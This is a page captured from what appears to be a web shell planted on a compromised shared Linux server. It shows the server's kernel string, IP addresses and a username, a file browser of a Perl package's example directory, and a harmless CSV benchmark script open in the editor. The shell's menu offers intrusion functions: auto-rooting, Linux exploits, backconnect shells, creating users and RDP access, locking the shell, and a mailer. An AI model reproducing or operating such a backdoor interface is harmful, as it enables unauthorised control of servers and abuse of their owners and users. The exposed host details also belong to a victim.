Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libtext-csv-xs-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
csv-check
7.96
KB
-rwxr-xr-x
csv-split
2.31
KB
-rwxr-xr-x
csv2xls
7.39
KB
-rwxr-xr-x
csv2xlsx
9.14
KB
-rwxr-xr-x
csvdiff
4.59
KB
-rwxr-xr-x
parser-xs.pl
1.92
KB
-rwxr-xr-x
rewrite.pl
2
KB
-rwxr-xr-x
speed.pl
2.62
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : speed.pl
#!/usr/bin/perl -w # speed.pl: compare different versions of Text-CSV* modules # (m)'08 [07 Apr 2008] Copyright H.M.Brand 2007-2021 require 5.006001; use strict; use IO::Handle; use Text::CSV_XS; use Benchmark "timethese"; eval { Benchmark->import (":hireswallclock"); }; our $csv = Text::CSV_XS->new ({ eol => "\n" }); my $duration = int (shift || 2); my @fields = ( "Holmes", "Sherlock", "Baker street", 221, "B", 72555, "London", "NW1 6XE", "United Kingdom", "+44 7123 84567", "sherlock\@holmes,co.uk"); our @fields1 = (@fields) x 1; our @fields10 = (@fields) x 10; our @fields100 = (@fields) x 100; $csv->combine (@fields1 ); our $str1 = $csv->string; $csv->combine (@fields10 ); our $str10 = $csv->string; $csv->combine (@fields100); our $str100 = $csv->string; timethese (-1.5,{ "combine 1" => q{ $csv->combine (@fields1 ) }, "combine 10" => q{ $csv->combine (@fields10 ) }, "combine 100" => q{ $csv->combine (@fields100) }, "parse 1" => q{ $csv->parse ($str1 ) }, "parse 10" => q{ $csv->parse ($str10 ) }, "parse 100" => q{ $csv->parse ($str100 ) }, }); sub max { $_[0] >= $_[1] ? $_[0] : $_[1] } my $line_count = max (200_000, 20_000 * $duration); our $io; my $mem = ""; my $bigfile = "_file.csv"; if ($] >= 5.010) { eval "use Sys::MemInfo qw( freemem );"; unless ($@) { my $need = $line_count * (1 + length $str10); if (freemem () > $need) { $mem = ""; open $io, ">", \$mem; } } } $io or open $io, ">", $bigfile; $csv->print ($io, \@fields10) or die "Cannot print ()\n"; timethese ($line_count, { "print io" => q{ $csv->print ($io, \@fields10) }}); close $io; my $l = $mem ? length ($mem) : -s $bigfile; $l or die "Buffer/file is empty!\n"; my @f = @fields10; $csv->can ("bind_columns") and $csv->bind_columns (\(@f)); open $io, "<", ($mem ? \$mem : $bigfile); timethese ($line_count, { "getline io" => q{ my $ref = $csv->getline ($io) }}); close $io; print "Data was $l bytes long, line length ", length ($str10), "\n"; $mem or unlink $bigfile; __END__ # The examples from the docs { $csv = Text::CSV_XS->new ({ keep_meta_info => 1, binary => 1 }); my $sample_input_string = qq{"I said, ""Hi!""",Yes,"",2.34,,"1.09","\x{20ac}",}; if ($csv->parse ($sample_input_string)) { my @field = $csv->fields; foreach my $col (0 .. $#field) { my $quo = $csv->is_quoted ($col) ? $csv->{quote_char} : ""; printf "%2d: %s%s%s\n", $col, $quo, $field[$col], $quo; } } else { my $err = $csv->error_input; print "parse () failed on argument: ", $err, "\n"; } }
Close